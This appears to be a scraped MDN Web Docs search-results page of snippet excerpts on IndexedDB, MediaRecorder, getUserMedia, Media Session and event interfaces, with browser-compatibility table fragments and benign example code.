WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBRequest.onsuccess - Web APIs
Syntax request.onsuccess = function(event) { ... ...
...ndexed Database API DraftThe definition of 'onsuccess' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...obileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonsuccessChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBRequest.readyState - Web APIs
Syntax var currentReadyState = request.readyState; Value The IDBRequestReadyState of the request, which takes one of the following two values: Value Meaning pending The request is pending. ...
...dexed Database API DraftThe definition of 'readyState' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...bileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetreadyStateChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBRequest.result - Web APIs
Syntax var myResult = request.result; Value any Example The following example requests a given record title, onsuccess gets the associated record from the IDBObjectStore (made available as objectStoreTitleRequest.result), updates one property of the record, and then puts the updated record back into the object store. ...
... Indexed Database API DraftThe definition of 'result' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...opMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetresultChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBRequest.source - Web APIs
Syntax var IDBIndex = request.source; var IDBCursor = request.source; var IDBObjectStore = request.source; Value An object representing the source of the request, such as an IDBIndex, IDBObjectStore or IDBCursor. ...
... Indexed Database API DraftThe definition of 'source' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...opMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetsourceChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBRequest.transaction - Web APIs
ransaction to return. If a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an IDBTransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade. Following the upgrade, the transaction property will again be null. Note: This feature is available in
Web Workers. Syntax var myTransaction = request.transaction; Value An IDBTransaction. Example The following example requests a given record title, onsuccess gets the associated record from the IDBObjectStore (made available as objectStoreTitleRequest.result), updates one property of the record, and then puts the updated record back into the object store in another request. The source of the re...
...exed Database API DraftThe definition of 'transaction' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternettransactionChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.abort() - Web APIs
The abort() method of the IDBTransaction interface rolls back all the changes to objects in the database associated with this transaction. All pending IDBRequest objects created during this transaction have their IDBRequest.error attribute set to AbortError. Note: This feature is available in
Web Workers. Syntax transaction.abort(); Exceptions This method may raise a DOMException of the following type: Exception Description InvalidStateError The transaction has already been committed or aborted. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of s...
... Indexed Database API DraftThe definition of 'abort()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...topMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetabortChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.mode - Web APIs
The mode read-only property of the IDBTransaction interface returns the current mode for accessing the data in the object stores in the scope of the transaction (i.e. is the mode to be read-only, or do you want to write to the object stores?) The default value is readonly. Note: This feature is available in
Web Workers. Syntax var myCurrentMode = IDBTransaction.mode; Value An IDBTransactionMode object defining the mode for isolating access to data in the current object stores: Value Explanation readonly Allows data to be read but not changed. readwrite Allows reading and writing of data in existing data stores to be changed. versionchange Allows any operation to be performed, including ones that delete and create object stores and i...
... Indexed Database API DraftThe definition of 'mode' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetmodeChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.objectStore() - Web APIs
tStore() method of the IDBTransaction interface returns an object store that has already been added to the scope of this transaction. Every call to this method on the same transaction object, with the same name, returns the same IDBObjectStore instance. If this method is called on a different transaction object, a different IDBObjectStore instance is returned. Note: This feature is available in
Web Workers. Syntax IDBTransaction.objectStore(name); Parameters name The name of the requested object store. Return value An IDBObjectStore object for accessing an object store. Exceptions This method may raise a DOMException of one of the following types: Exception Description NotFoundError The requested object store is not in this transaction's scope. ...
...xed Database API DraftThe definition of 'objectStore()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetobjectStoreChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.onabort - Web APIs
Syntax transaction.onabort = function(event) { ... }; Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. ...
... Indexed Database API DraftThe definition of 'onabort' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonabortChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.oncomplete - Web APIs
mplete event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Note: This feature is available in
Web Workers. Note: In Firefox, if you wish to ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see IDBDatabase.transaction.) This is currently experimental, and can only be used if ...
...ndexed Database API DraftThe definition of 'oncomplete' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...bileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetoncompleteChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBTransaction.onerror - Web APIs
Syntax transaction.onerror = function(event) { ... ...
... Indexed Database API DraftThe definition of 'onerror' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonerrorChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBVersionChangeEvent.version - Web APIs
owsers support them. Syntax readonly attribute unsigned long long? version; Value A 64-bit integer. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 16 Full support 16 Full support 10Prefixed Prefixed Implemented with the vendor prefix: mozIE No support NoOpera No support NoSafari No support No
WebView Android Full support YesChrome Android Full support 18Firefox Android Full support 22Opera Android Full support 22Safari iOS No support NoSamsung Internet Android ...
... ...
... ...
IDBVersionChangeEvent - Web APIs
Properties Also inherits properties from its parent, Method. IDBVersionChangeEvent.oldVersion Read only Returns the old version of the database. IDBVersionChangeEvent.newVersion Read only Returns the new version of the database. ...
...n change (after an upgradedneeded event), the success event will implement the IDBVersionChangeEvent interface. For a full working example, see our To-do Notifications app (view example live.) var note = document.querySelector("ul"); // In the following line, you should include the prefixes of implementations you want to test. ...
...or("ul"); // In the following line, you should include the prefixes of implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
... test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
IndexedDB API - Web APIs
IndexedDB is a low-level API for client-side storage of significant amounts of structured data, including files/blobs. This API uses indexes to enable high-performance searches of this data. While
Web Storage is useful for storing smaller amounts of data, it is less useful for storing larger amounts of structured data. IndexedDB provides a solution. This is the main landing page for MDN's IndexedDB coverage -- here we provide links to the full API reference and usage guides, browser support details, and some explanation of key concepts. Note: This feature is available in
Web Workers. Note: IndexedDB API is powerful, but may seem too complicated for simple cases. If you'd prefer a simple API, try libraries such as localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore and lovefi...
... your database, and then retrieve and update data within a series of transactions. Read more about the Concepts behind IndexedDB. Learn to use IndexedDB asynchronously from first principles with our Using IndexedDB guide. Combine IndexedDB for storing data offline with Service Workers for storing assets offline, as outlined in Making PWAs work offline with Service workers. Note: Like most
web storage solutions, IndexedDB follows a same-origin policy. So while you can access stored data within a domain, you cannot access data across different domains. Synchronous and asynchronous Operations performed using IndexedDB are done asynchronously, so as not to block applications. IndexedDB originally included both synchronous and asynchronous APIs. The synchronous API was intended for use ...
...olutions, IndexedDB follows a same-origin policy. So while you can access stored data within a domain, you cannot access data across different domains. Synchronous and asynchronous Operations performed using IndexedDB are done asynchronously, so as not to block applications. IndexedDB originally included both synchronous and asynchronous APIs. The synchronous API was intended for use only with
Web Workers but was removed from the spec because it was unclear whether it was needed. However, the synchronous API may be reintroduced if there is enough demand from
web developers. Storage limits and eviction criteria There are a number of
web technologies that store data of one kind or another on the client side (i.e. on your local disk). IndexedDB is most commonly talked about. The process by ...
...Browser storage limits and eviction criteria attempts to explain how this works, at least in the case of Firefox. ...
KeyboardEvent - Web APIs
ring text, such as a handwriting system on a tablet or graphics tablet. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#D4DDE4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/KeyboardEvent" target="_top"><rect x="231" y="1" width="130" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="296" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">KeyboardEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor ...
...tically during auto-repeat, and there's no way for Gecko to know the difference between a repeated series of keypresses and an auto-repeat. On those platforms, then, an auto-repeat key will generate the following sequence of events: keydown keypress keyup keydown keypress keyup <<repeating until the user releases the key>> keyup In these environments, unfortunately, there's no way for
web content to tell the difference between auto-repeating keys and keys that are just being pressed repeatedly. Auto-repeat handling prior to Gecko 5.0 Before Gecko 5.0 (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2), keyboard handling was less consistent across platforms. Windows Auto-repeat behavior is the same as in Gecko 4.0 and later. Mac After the initial keydown event, only keypress ev...
LocalFileSystemSync - Web APIs
The methods are implemented by worker objects. About this document This document was last updated on March 2, 2012 and follows the W3C Specifications (Working Draft) drafted on April 19, 2011. This specification is more or less abandonned, failing to get significant traction. Basic concepts You can request access to a sandboxed file system by requesting LocalFileSystemSync object from within a
web worker. ...
...e methods are implemented by worker objects. About this document This document was last updated on March 2, 2012 and follows the W3C Specifications (Working Draft) drafted on April 19, 2011. This specification is more or less abandonned, failing to get significant traction. Basic concepts You can request access to a sandboxed file system by requesting LocalFileSystemSync object from within a
web worker. The global methods in the window object requestFileSystemSync() and resolveLocalFileSystemSyncURL() methods are exposed to the Worker's global scope. Calling window.requestFileSystemSync() for creates new storage for your
web app. For more concepts, see the counterpart article for the asynchronous API. Example //Taking care of the browser-specific prefix window.requestFileSystemSync =...
...w object requestFileSystemSync() and resolveLocalFileSystemSyncURL() methods are exposed to the Worker's global scope. Calling window.requestFileSystemSync() for creates new storage for your
web app. For more concepts, see the counterpart article for the asynchronous API. Example //Taking care of the browser-specific prefix window.requestFileSystemSync = window.requestFileSystemSync || window.
webkitRequestFileSystemSync; // The first parameter defines the type of storage: persistent or temporary // Next, set the size of space needed (in bytes) // initFs is the success callback // And the last one is the error callback // for denial of access and other errors. var fs = requestFileSystemSync(TEMPORARY, 1024*1024 /*1MB*/); Because you are using a synchronous API, you don't need success an...
... TEMPORARY 0 Transient storage that can be be removed by the browser at its discretion. PERSISTENT 1 Storage that stays in the browser unless the user or the app expunges it. Methods requestFileSystemSync() Requests a file system where data should be stored. You access a sandboxed file system by requesting a LocalFileSystemSync object from within a
web worker using this global method, window.requestFileSystemSync(). [ RESEARCH ] FileSystemSync requestFileSystemSync( in unsigned short type, in unsigned long long size ); Parameters type The storage type of the file system. The values can be either TEMPORARY or PERSISTENT. size The storage space--in bytes--that you need for your app. Returns FileSystemSync An object that represen...
MediaDevices.getUserMedia() - Web APIs
w access to the input source(s). Older versions of the specification used SecurityError for this instead; SecurityError has taken on a new meaning. NotFoundError No media tracks of the type specified were found that satisfy the given constraints. NotReadableError Although the user granted permission to use the matching devices, a hardware error occurred at the operating system, browser, or
Web page level which prevented access to the device. OverconstrainedError The specified constraints resulted in no candidate devices which met the criteria requested. The error is an object of type OverconstrainedError, and has a constraint property whose string value is the name of a constraint which was impossible to meet, and a message property containing a human-readable string explaining the p...
...hich your code is running, and about how browsers manage user privacy and security issues, read on. User privacy As an API that may involve significant privacy concerns, getUserMedia() is held by the specification to very specific requirements for user notification and permission management. First, getUserMedia() must always get user permission before opening any media gathering input such as a
webcam or microphone. Browsers may offer a once-per-domain permission feature, but they must ask at least the first time, and the user must specifically grant ongoing permission if they choose to do so. Of equal importance are the rules around notification. Browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may...
...ment mediaDevices. We can't just assign an object // with getUserMedia as it would overwrite existing properties. // Here, we will just add the getUserMedia property if it's missing. ...
...t if ("srcObject" in video) { video.srcObject = stream; } else { // Avoid using this in new browsers, as it is going away. video.src = window.URL.createObjectURL(stream); } video.onloadedmetadata = function(e) { video.play(); }; }) .catch(function(err) { console.log(err.name + ": " + err.message); }); Frame rate Lower frame-rates may be desirable in some cases, like
WebRTC transmissions with bandwidth restrictions. var constraints = { video: { frameRate: { ideal: 10, max: 15 } } }; Front and back camera On mobile phones. var front = false; document.getElementById('flip-button').onclick = function() { front = !front; }; var constraints = { video: { facingMode: (front? "user" : "environment") } }; Specifications Specification Status Comment...
MediaRecorder.ignoreMutedMedia - Web APIs
x var boolean = MediaRecorder.ignoreMutedMedia MediaRecorder.ignoreMutedMedia = boolean Value A Boolean. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Safari on iOSSamsung InternetignoreMutedMedia DeprecatedNon-standardChrome No support 49 -- 57Edge No support NoFirefox ? IE No support NoOpera No support 36 -- 44Safari No support No
WebView Android No support 49 -- 57Chrome Android No support 49 -- 57Firefox Android ? Opera Android No support 36 -- 44Safari iOS No support NoSamsung Internet Android No support 5.0 -- 7.0Legend ...
... ...
... ...
MediaStreamAudioSourceNode - Web APIs
A MediaStreamAudioSourceNode has no inputs and exactly one output, and is created using the AudioContext.createMediaStreamSource() method. The MediaStreamAudioSourceNode takes the audio from the first MediaStreamTrack whose kind attribute's value is audio. ...
... A MediaStreamAudioSourceNode has no inputs and exactly one output, and is created using the AudioContext.createMediaStreamSource() method. The MediaStreamAudioSourceNode takes the audio from the first MediaStreamTrack whose kind attribute's value is audio. ...
...'s values, in Unicode code point order (essentially, in alphabetical or lexicographical order, for IDs which are simple alphanumeric strings). The first track, then, is the track whose id comes first when the tracks' IDs are all sorted by Unicode code point. However, it's important to note that the rule establishing this ordering was added long after this interface was first introduced into the
Web Audio API. As such, you can't easily rely on the order matching between any two browsers or browser versions. This is why it is typically wiser to use MediaStreamTrackAudioSourceNode, which provides similar capabilities but was better-defined upon being added to the specification, so it's more reliable. Example In this example, we grab a media (audio + video) stream from navigator.getUserMedia,...
... Working Draft ...
Using the MediaStream Recording API - Web APIs
The MediaStream Recording API makes it easy to record audio and/or video streams. When used with navigator.mediaDevices.getUserMedia(), it provides an easy way to record from the user's input devices and instantly use the result in
web apps. Both audio and video may be recorded, separately or together. This article aims to provide a basic guide on how to use the MediaRecorder interface, which provides this API. A sample application:
Web Dictaphone To demonstrate basic usage of the MediaRecorder API, we have built a
web-based dictaphone. It allows you to record snippets of audio and then play them back. It even gives you a visualization of your device's sound input, using the
Web Audio API. We'll concentrate on the recording and playback functionality for this article. You can see this...
...f device height, with calc() The calc() function is one of those useful little utility features that's cropped up in CSS that doesn't look like much initially, but soon starts to make you think "Wow, why didn't we have this before? Why was CSS2 layout so awkward?" It allows you do a calculation to determine the computed value of a CSS unit, mixing different units in the process. For example, in
Web Dictaphone we have three main UI areas, stacked vertically. We wanted to give the first two (the header and the controls) fixed heights: header { height: 70px; } .main-controls { padding-bottom: 0.7rem; height: 170px; } However, we wanted to make the third area (which contains the recorded samples you can play back) take up whatever space is left, regardless of the device height. Flexbox...
... height: calc(100% - 240px - 0.7rem); overflow: scroll; } Note: calc() has good support across modern browsers too, even going back to Internet Explorer 9. Checkbox hack for showing/hiding This is fairly well documented already, but we thought we'd give a mention to the checkbox hack, which abuses the fact that you can click on the <label> of a checkbox to toggle it checked/unchecked. In
Web Dictaphone this powers the Information screen, which is shown/hidden by clicking the question mark icon in the top right hand corner. First of all, we style the <label> how we want it, making sure that it has enough z-index to always sit above the other elements and therefore be focusable/clickable: label { font-family: 'NotoColorEmoji'; font-size: 3rem; position: absolute; top: ...
...aRecorder() constructor and pass it the stream directly. This is your entry point into using the MediaRecorder API -- the stream is now ready to be captured into a Blob, in the default encoding format of your browser. const mediaRecorder = new MediaRecorder(stream); There are a series of methods available in the MediaRecorder interface that allow you to control recording of the media stream; in
Web Dictaphone we just make use of two, and listen to some events. First of all, MediaRecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { mediaRecorder.start(); console.log(mediaRecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } When the MediaRecorder is reco...
MediaStream Recording API - Web APIs
The MediaStream Recording API makes it possible to capture the data generated by a MediaStream or HTMLMediaElement object for analysis, processing, or saving to disk. It's also surprisingly easy to work with. Basic concepts The MediaStream Recording API is comprised of a single major interface, MediaRecorder, which does all the work of taking the data from a MediaStream and delivering it to you for processing. ...
... MediaRecorder. You can listen for error events by setting up a onerror event handler. Example here, we use an HTML Canvas as source of the MediaStream, and stop recording after 9 seconds. var canvas = document.querySelector("canvas"); // Optional frames per second argument. var stream = canvas.captureStream(25); var recordedChunks = []; console.log(stream); var options = { mimeType: "video/
webm; codecs=vp9" }; mediaRecorder = new MediaRecorder(stream, options); mediaRecorder.ondataavailable = handleDataAvailable; mediaRecorder.start(); function handleDataAvailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedChunks.push(event.data); console.log(recordedChunks); download(); } else { // ... } } function download() { var blob = new...
...iaRecorder(stream, options); mediaRecorder.ondataavailable = handleDataAvailable; mediaRecorder.start(); function handleDataAvailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedChunks.push(event.data); console.log(recordedChunks); download(); } else { // ... ...
...t.data.size > 0) { recordedChunks.push(event.data); console.log(recordedChunks); download(); } else { // ... ...
Media Session API - Web APIs
This metadata includes the title, artist (creator) name, album (collection), and artwork. ...
...This metadata includes the title, artist (creator) name, album (collection), and artwork. The platform can show this metadata in media centers, notifications, device lockscreens, etc. ...
...the platform UI for media that is playing. This metadata includes the title, artist (creator) name, album (collection), and artwork. The platform can show this metadata in media centers, notifications, device lockscreens, etc. The MediaSession interface lets users control playback of media through user-agent defined interface elements. Interaction with these elements even trigger handlers in the
web page, playing the media. Since multiple pages may be simultaneously using this API, the user agent is responsible for calling the correct page's event handlers. The user agent provides default behaviors, when no page-defined behavior is available. Accessing the Media Session API The primary interface for the Media Session API is the MediaSession interface. Rather than creating your own MediaSes...
...available. Accessing the Media Session API The primary interface for the Media Session API is the MediaSession interface. Rather than creating your own MediaSession instance, you access the API using the navigator.mediaSession property. For example, to set the current state of the media session to playing: navigator.mediaSession.playbackState = "playing"; Interfaces MediaMetadata Allows a
web page to provide rich media metadata, for display in a platform UI. MediaSession Allows a
web page to provide custom behaviors, for standard media playback interactions. Dictionaries MediaImage A MediaImage object contains information describing an image associated with the media. This might be a CD or DVD cover, a movie poster, a poster frame, or the like. MediaPositionState Used to con...
MessageEvent - Web APIs
The MessageEvent interface represents a message received by a target object. This is used to represent messages in: Server-sent events (see EventSource.onmessage).
Web sockets (see the onmessage property of the
WebSocket interface). Cross-document messaging (see Window.postMessage() and Window.onmessage). Channel messaging (see MessagePort.postMessage() and MessagePort.onmessage). Cross-worker/document messaging (see the above two entries, but also Worker.postMessage(), Worker.onmessage, ServiceWorkerGlobalScope.onmessage, etc.) Broadcast channels (see Broadcastchannel.postMessage()) and BroadcastChannel.onmessage).
WebRTC data channels (see RTCDataChannel.onmessage). The action triggered by this event is defined in a function set as the event handler for the relevant message eve...
...message, ServiceWorkerGlobalScope.onmessage, etc.) Broadcast channels (see Broadcastchannel.postMessage()) and BroadcastChannel.onmessage).
WebRTC data channels (see RTCDataChannel.onmessage). The action triggered by this event is defined in a function set as the event handler for the relevant message event (e.g. using an onmessage handler as listed above). Note: This feature is available in
Web Workers. ...
...dler as listed above). Note: This feature is available in
Web Workers. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MessageEvent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MessageEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor Me...
MouseEvent - Web APIs
fic events are based on MouseEvent, including WheelEvent and DragEvent. ...
